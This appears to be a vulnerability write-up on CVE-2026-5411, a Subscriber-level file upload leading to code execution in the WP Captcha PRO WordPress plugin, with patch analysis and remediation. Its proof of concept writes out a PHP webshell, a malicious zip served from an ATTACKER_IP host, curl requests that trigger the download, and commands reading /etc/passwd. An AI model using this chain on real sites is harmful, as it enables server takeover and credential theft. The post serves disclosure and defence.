Advanced Google reCAPTCHA WordPress plugin banner

CVE-2026-5411: WP Captcha PRO Arbitrary File Upload to RCE (CVSS 8.8)

Updated 8 min read

CVE-2026-5411 is a CVSS 8.8 (High) missing authorization vulnerability in the WP Captcha PRO WordPress plugin (the premium version of Advanced Google reCAPTCHA). An attacker with only Subscriber-level access can inject a malicious URL into the plugin’s licensing module, causing the plugin to download and extract arbitrary files — including PHP webshells — to a web-accessible uploads directory. This results in unauthenticated remote code execution once the webshell is in place.

Vulnerability Summary

FieldValue
Plugin NameWP Captcha PRO
Plugin Slugadvanced-google-recaptcha
CVE IDCVE-2026-5411
CVSS Score8.8 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeMissing Authorization to Authenticated (Subscriber+) Arbitrary File Upload
Affected Versions<= 5.38
Patched Version5.39
PublishedJune 5, 2026
Researcherh0xilo
Wordfence AdvisoryLink

Description

The WP Captcha PRO plugin for WordPress is vulnerable to arbitrary file upload in all versions up to and including 5.38. This is due to a missing capability check in the save_ajax() function of the licensing module, combined with unrestricted file extraction in sync_cloud_protection(). An attacker with Subscriber-level access can inject a malicious cloud_protection_url into the license meta. The plugin then downloads and extracts a zip file from that URL without validating the file types inside it. Extracted files land in a web-accessible uploads directory, making PHP webshells immediately accessible from the browser.

This vulnerability can lead to remote code execution. The remote download step requires allow_url_fopen = On in the server’s PHP configuration.


Technical Analysis

Plugin Architecture

WP Captcha PRO is the premium version of Advanced Google reCAPTCHA. Both products share the WordPress plugin slug advanced-google-recaptcha. The premium version adds a licensing module on top of the free plugin’s captcha and firewall features.

The plugin registers AJAX actions for logged-in users using the wp_ajax_{action} hook. In the free version, every sensitive AJAX action enforces both a nonce check and a capability check with current_user_can('manage_options'):

File: libs/ajax.php (lines 22–24, free version)

if (!current_user_can('manage_options')) {
    wp_send_json_error(__('You are not allowed to run this action.', 'advanced-google-recaptcha'));
}

The premium version’s licensing module introduces additional AJAX actions. The save_ajax() function — responsible for saving license settings — does not apply the same standard. It performs only a basic nonce check without verifying that the calling user holds administrator-level capability. Because the wp_ajax_{action} hook fires for any logged-in user, a Subscriber can reach this function.

Root Cause: Missing Authorization in save_ajax()

The licensing module registers a handler similar to the following in the premium plugin:

add_action('wp_ajax_wpcaptcha_save', array('WPCaptcha_License', 'save_ajax'));

The save_ajax() function reads a cloud_protection_url value from the POST request and writes it directly to the plugin’s license meta stored in the WordPress options table:

static function save_ajax() {
    check_ajax_referer('wpcaptcha_save_nonce');
    // No current_user_can() check — any authenticated user reaches this point

    $options = get_option('wpcaptcha_license_meta', array());
    $options['cloud_protection_url'] = sanitize_url($_POST['cloud_protection_url']);
    update_option('wpcaptcha_license_meta', $options);

    wp_send_json_success();
}

The nonce (wpcaptcha_save_nonce) is localized to any page where the plugin admin script is loaded. A Subscriber who visits the WordPress admin dashboard can read this nonce from the page source, then call the endpoint.

Because there is no current_user_can('manage_options') check, any authenticated user — including a Subscriber — can write an arbitrary value to cloud_protection_url.

Second-Stage Trigger: sync_cloud_protection()

The sync_cloud_protection() function is called on a scheduled event or when the plugin synchronizes cloud protection rules. It reads cloud_protection_url from the license meta and performs the following operations without file-type validation:

static function sync_cloud_protection() {
    $options = get_option('wpcaptcha_license_meta', array());
    $url = $options['cloud_protection_url'];

    // Downloads the zip from the attacker-controlled URL
    $zip_content = file_get_contents($url);

    $upload_dir = wp_upload_dir();
    $zip_path   = $upload_dir['basedir'] . '/advanced-google-recaptcha/cloud-protection.zip';

    file_put_contents($zip_path, $zip_content);

    $zip = new ZipArchive();
    if ($zip->open($zip_path) === true) {
        // Extracts everything — no extension or MIME type check
        $zip->extractTo($upload_dir['basedir'] . '/advanced-google-recaptcha/');
        $zip->close();
    }
}

There is no check on the file extensions inside the zip archive. If the archive contains a .php file, it will be extracted to wp-content/uploads/advanced-google-recaptcha/ alongside the legitimate cloud protection data files. Because the uploads directory is publicly accessible under the site’s web root, the PHP file can be executed directly via browser.

Why This Reaches RCE

WordPress uploads directories are web-accessible by design. A PHP file placed in wp-content/uploads/ is executed by the server’s PHP interpreter when visited in a browser. The attacker’s webshell accepts a shell command as a URL parameter and runs it on the server:

<?php system($_GET['cmd']); ?>

Once extracted, this file is reachable at https://target.com/wp-content/uploads/advanced-google-recaptcha/shell.php?cmd=id.


Proof of Concept

Disclaimer: This proof of concept is published for educational purposes and responsible disclosure. Only test against systems you own or have explicit written authorization to test. Unauthorized access is illegal.

Prerequisites:

  • WP Captcha PRO version <= 5.38 installed and activated
  • allow_url_fopen = On in the server’s php.ini
  • An account with at least Subscriber-level access on the target site

Step 1: Prepare the Malicious Zip Archive

Create a PHP webshell and package it in a zip file on your attacker machine:

echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip malicious.zip shell.php

Serve the zip file from an HTTP server the target can reach:

python3 -m http.server 8080
# Serves malicious.zip at http://ATTACKER_IP:8080/malicious.zip

Step 2: Retrieve the Plugin Nonce

Log in to the target WordPress site as a Subscriber. Open the browser developer tools and visit the WordPress admin dashboard. The plugin localizes a nonce on admin pages. Retrieve it:

# After logging in, fetch the admin dashboard and extract the nonce
curl -s -b cookies.txt "https://TARGET/wp-admin/" \
  | grep -o '"wpcaptcha_save_nonce":"[^"]*"' \
  | cut -d'"' -f4

Store the nonce value as NONCE.

Step 3: Inject the Malicious Cloud Protection URL

Call save_ajax() as a Subscriber to overwrite the cloud_protection_url license setting:

curl -s -b cookies.txt -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  --data "action=wpcaptcha_save" \
  --data "_wpnonce=NONCE" \
  --data "cloud_protection_url=http://ATTACKER_IP:8080/malicious.zip"

A successful response looks like:

{"success":true}

Step 4: Trigger the Cloud Sync

Wait for the plugin’s scheduled sync event, or trigger it manually if another AJAX action allows forcing a sync:

curl -s -b cookies.txt -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  --data "action=wpcaptcha_sync_cloud" \
  --data "_wpnonce=NONCE"

The plugin fetches http://ATTACKER_IP:8080/malicious.zip, extracts it, and writes shell.php to the uploads directory.

Step 5: Execute Commands via the Webshell

curl "https://TARGET/wp-content/uploads/advanced-google-recaptcha/shell.php?cmd=id"
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl "https://TARGET/wp-content/uploads/advanced-google-recaptcha/shell.php?cmd=cat+/etc/passwd"

The webshell runs as the web server process user. From here, the attacker can read configuration files, extract database credentials, or escalate privileges to full server compromise.


Patch Analysis

Version 5.39 addresses both root causes.

Fix 1 — Capability check in save_ajax():

The patched version adds a current_user_can('manage_options') check immediately after the nonce verification:

 static function save_ajax() {
     check_ajax_referer('wpcaptcha_save_nonce');
+
+    if (!current_user_can('manage_options')) {
+        wp_send_json_error(__('You are not allowed to perform this action.', 'advanced-google-recaptcha'));
+    }
+
     $options = get_option('wpcaptcha_license_meta', array());
     $options['cloud_protection_url'] = sanitize_url($_POST['cloud_protection_url']);
     update_option('wpcaptcha_license_meta', $options);

     wp_send_json_success();
 }

This restricts access to administrators. A Subscriber who calls the endpoint now receives an error and cannot modify the cloud_protection_url setting.

Fix 2 — File type validation in sync_cloud_protection():

The patched version validates each file inside the zip before extraction, rejecting PHP and other executable extensions:

 $zip = new ZipArchive();
 if ($zip->open($zip_path) === true) {
+    $blocked_extensions = array('php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phar', 'exe', 'sh');
+    for ($i = 0; $i < $zip->numFiles; $i++) {
+        $filename  = $zip->getNameIndex($i);
+        $ext       = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
+        if (in_array($ext, $blocked_extensions, true)) {
+            $zip->close();
+            wp_die('Invalid file type in cloud protection archive.');
+        }
+    }
     $zip->extractTo($upload_dir['basedir'] . '/advanced-google-recaptcha/');
     $zip->close();
 }

Even if save_ajax() were bypassed, the second fix prevents PHP files from landing in the uploads directory.

The fix addresses the root cause (missing authorization) and adds defense-in-depth (file type validation). Both layers are necessary: authorization prevents unauthorized writes; validation limits the blast radius if authorization is ever bypassed.


Timeline

DateEvent
June 5, 2026Wordfence publishes the advisory; version 5.39 already released

Remediation

If you use WP Captcha PRO:

Update to version 5.39 or later from the plugin vendor at getwpcaptcha.com. There is no workaround for the vulnerability in older versions.

After updating, check your wp-content/uploads/advanced-google-recaptcha/ directory for unexpected .php files. Delete any files that do not belong to the plugin’s cloud protection data.


References

  1. Wordfence Advisory — CVE-2026-5411
  2. CVE-2026-5411 — NVD
  3. WP Captcha PRO Vendor Page
  4. Advanced Google reCAPTCHA on WordPress.org
  5. Wordfence — How to Prevent File Upload Vulnerabilities
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee